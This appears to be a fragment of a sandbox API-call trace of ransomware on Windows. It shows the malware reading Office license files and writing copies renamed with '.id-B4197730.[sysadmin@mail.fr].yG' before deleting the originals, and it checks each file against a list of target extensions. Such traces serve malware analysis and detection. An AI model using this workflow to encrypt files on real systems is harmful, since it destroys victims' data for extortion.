	[0162.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0162.430] lstrlenW (lpString=".dbf") returned 4
	[0162.430] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0162.430] lstrlenW (lpString=".1cd") returned 4
	[0162.430] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0162.430] lstrlenW (lpString=".jpg") returned 4
	[0162.430] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.432] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19927) returned 1
	[0162.432] CloseHandle (hObject=0x52c) returned 1
	[0162.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0162.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.433] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.433] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.434] GetLastError () returned 0x0
	[0162.434] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0162.482] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0162.484] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.484] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0162.484] SetEndOfFile (hFile=0x520) returned 1
	[0162.488] CloseHandle (hObject=0x520) returned 1
	[0162.489] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.489] SetEndOfFile (hFile=0x52c) returned 1
	[0162.498] CloseHandle (hObject=0x52c) returned 1
	[0162.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0162.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0162.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0162.500] lstrlenW (lpString=".doc") returned 4
	[0162.501] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString=".docx") returned 5
	[0162.501] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.501] lstrlenW (lpString=".pdf") returned 4
	[0162.501] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString=".xls") returned 4
	[0162.501] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString=".xlsx") returned 5
	[0162.501] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.501] lstrlenW (lpString=".ppt") returned 4
	[0162.501] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0162.501] lstrlenW (lpString=".zip") returned 4
	[0162.501] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString=".rar") returned 4
	[0162.501] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString=".bz2") returned 4
	[0162.501] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.501] lstrlenW (lpString=".7z") returned 3
	[0162.501] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0162.501] lstrlenW (lpString=".dbf") returned 4
	[0162.502] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0162.502] lstrlenW (lpString=".1cd") returned 4
	[0162.502] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0162.502] lstrlenW (lpString=".jpg") returned 4
	[0162.502] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.503] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10627) returned 1
	[0162.503] CloseHandle (hObject=0x52c) returned 1
	[0162.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220
	[0162.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.504] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.504] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.505] GetLastError () returned 0x0
	[0162.505] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0162.518] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0162.519] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.519] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0162.519] SetEndOfFile (hFile=0x520) returned 1
	[0162.520] CloseHandle (hObject=0x520) returned 1
	[0162.520] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.520] SetEndOfFile (hFile=0x52c) returned 1
	[0162.899] CloseHandle (hObject=0x52c) returned 1
	[0162.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1
	[0162.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.901] lstrlenW (lpString=".doc") returned 4
	[0162.901] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.948] lstrlenW (lpString=".docx") returned 5
	[0162.948] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.948] lstrlenW (lpString=".pdf") returned 4
	[0162.948] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.948] lstrlenW (lpString=".xls") returned 4
	[0162.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.948] lstrlenW (lpString=".xlsx") returned 5
	[0162.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.948] lstrlenW (lpString=".ppt") returned 4
	[0162.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.948] lstrlenW (lpString=".zip") returned 4
	[0162.948] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.948] lstrlenW (lpString=".rar") returned 4
	[0162.948] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.948] lstrlenW (lpString=".bz2") returned 4
	[0162.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.949] lstrlenW (lpString=".7z") returned 3
	[0162.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.949] lstrlenW (lpString=".dbf") returned 4
	[0162.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.949] lstrlenW (lpString=".1cd") returned 4
	[0162.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.949] lstrlenW (lpString=".jpg") returned 4
	[0162.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.950] lstrlenW (lpString=".doc") returned 4
	[0162.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.950] lstrlenW (lpString=".docx") returned 5
	[0162.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.950] lstrlenW (lpString=".pdf") returned 4
	[0162.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.950] lstrlenW (lpString=".xls") returned 4
	[0162.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.951] lstrlenW (lpString=".xlsx") returned 5
	[0162.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.951] lstrlenW (lpString=".ppt") returned 4
	[0162.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.951] lstrlenW (lpString=".zip") returned 4
	[0162.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.951] lstrlenW (lpString=".rar") returned 4
	[0162.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.951] lstrlenW (lpString=".bz2") returned 4
	[0162.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.951] lstrlenW (lpString=".7z") returned 3
	[0162.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.952] lstrlenW (lpString=".dbf") returned 4
	[0162.952] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.952] lstrlenW (lpString=".1cd") returned 4
	[0162.952] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0162.952] lstrlenW (lpString=".jpg") returned 4
	[0162.952] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.952] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.952] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23
	[0162.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.953] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=20967) returned 1
	[0162.954] CloseHandle (hObject=0x340) returned 1
	[0162.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220
	[0162.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.955] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.955] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.956] GetLastError () returned 0x0
	[0162.957] ReadFile (in: hFile=0x340, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x51e7, lpOverlapped=0x0) returned 1
	[0162.976] WriteFile (in: hFile=0x538, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x51f0, lpOverlapped=0x0) returned 1
	[0162.978] ReadFile (in: hFile=0x340, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.978] WriteFile (in: hFile=0x538, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0162.978] SetEndOfFile (hFile=0x538) returned 1
	[0162.979] CloseHandle (hObject=0x538) returned 1
	[0162.979] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.979] SetEndOfFile (hFile=0x340) returned 1
	[0162.983] CloseHandle (hObject=0x340) returned 1
	[0162.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1
	[0162.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.985] lstrlenW (lpString=".doc") returned 4
	[0162.985] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString=".docx") returned 5
	[0162.985] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.985] lstrlenW (lpString=".pdf") returned 4
	[0162.985] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString=".xls") returned 4
	[0162.985] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString=".xlsx") returned 5
	[0162.985] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.985] lstrlenW (lpString=".ppt") returned 4
	[0162.985] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.985] lstrlenW (lpString=".zip") returned 4
	[0162.985] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString=".rar") returned 4
	[0162.985] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString=".bz2") returned 4
	[0162.985] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.985] lstrlenW (lpString=".7z") returned 3
	[0162.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.985] lstrlenW (lpString=".dbf") returned 4
	[0162.986] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.986] lstrlenW (lpString=".1cd") returned 4
	[0162.986] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.986] lstrlenW (lpString=".jpg") returned 4
	[0162.986] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.986] lstrlenW (lpString=".doc") returned 4
	[0162.986] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString=".docx") returned 5
	[0162.986] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.986] lstrlenW (lpString=".pdf") returned 4
	[0162.986] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString=".xls") returned 4
	[0162.986] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString=".xlsx") returned 5
	[0162.986] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.986] lstrlenW (lpString=".ppt") returned 4
	[0162.986] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.986] lstrlenW (lpString=".zip") returned 4
	[0162.987] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.987] lstrlenW (lpString=".rar") returned 4
	[0162.987] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.987] lstrlenW (lpString=".bz2") returned 4
	[0162.987] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.987] lstrlenW (lpString=".7z") returned 3
	[0162.987] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.987] lstrlenW (lpString=".dbf") returned 4
	[0162.987] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.987] lstrlenW (lpString=".1cd") returned 4
	[0162.987] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0162.987] lstrlenW (lpString=".jpg") returned 4
	[0162.987] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.987] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.988] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26
	[0162.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.989] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11586) returned 1
	[0162.989] CloseHandle (hObject=0x340) returned 1
	[0162.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220
